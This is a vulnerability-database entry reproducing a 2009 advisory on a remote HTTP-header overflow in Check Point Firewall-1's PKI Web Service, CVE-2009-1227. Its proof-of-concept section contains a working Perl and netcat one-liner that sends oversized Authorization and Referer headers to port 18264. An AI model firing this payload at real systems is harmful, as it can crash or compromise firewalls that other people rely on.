Check Point Firewall-1 - PKI Web Service HTTP Header Remote Overflow
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2009-1227 | 30 Mar 200900:00 | – | circl |
 | Check Point response to CVE-2009-1227 (Bugtraq ID: 34286) | 11 Apr 200921:00 | – | checkpoint_security |
 | CVE-2009-1227 | 2 Apr 200915:00 | – | cve |
 | CVE-2009-1227 | 2 Apr 200915:00 | – | cvelist |
 | CVE-2009-1227 | 2 Apr 200915:30 | – | nvd |
 | Buffer overflow | 2 Apr 200915:30 | – | prion |
 | PT-2009-3770 · Check Point · Check Point Firewall-1 | 2 Apr 200900:00 | – | ptsecurity |
- Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow
- Description
The Check Point Firewall-1 PKI Web Service, running by default on TCP
port 18264, is vulnerable to a remote overflow in the handling of very
long HTTP headers. This was discovered during a pen-test where the
client would not allow further analysis and would not provide the full
product/version info. Initial testing indicates the 'Authorization'
and 'Referer' headers were vulnerable.
- Product
Check Point, Firewall-1, unknown
- PoC
perl -e 'print "GET / HTTP/1.0\r\nAuthorization: Basic" . "x" x 8192 .
"\r\nFrom: [email protected]\r\nIf-Modified-Since: Fri, 13 Dec 2006
09:12:58 GMT\r\nReferer: http://www.owasp.org/" . "x" x 8192 .
"\r\nUserAgent: FsckResponsibleDisclosure 1.0\r\n\r\n"' | nc
suckit.com 18264
- Solution
None
- Timeline
2006-11-06: Vulnerability Discovered
2009-03-29: Disclosed to Public
# milw0rm.com [2009-03-30]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Mar 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.07202